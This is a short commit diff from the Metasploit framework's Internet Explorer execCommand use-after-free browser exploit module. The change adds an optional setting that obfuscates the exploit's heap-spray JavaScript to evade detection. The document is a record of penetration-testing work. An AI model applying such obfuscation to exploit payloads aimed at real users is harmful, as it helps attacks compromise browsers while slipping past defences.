added js obfuscation for heap spray

rapid7 · Sep 24, 2012 · 2784a5e · 2784a5e
1 parent 8b8da0b
commit 2784a5e
Showing 1 changed file with 10 additions and 0 deletions.
diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb
@@ -78,6 +78,12 @@ def initialize(info={})
 			'Privileged'     => false,
 			'DisclosureDate' => "Sep 14 2012",  # When it was spotted in the wild by eromang
 			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+
 	end
 
 	def get_target(agent)
@@ -283,6 +289,10 @@ def load_html1(cli, my_target)
 		end
 
 		js = heaplib(js, {:noobfu => true})
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+		end
 
 		html = <<-EOS
 		<html>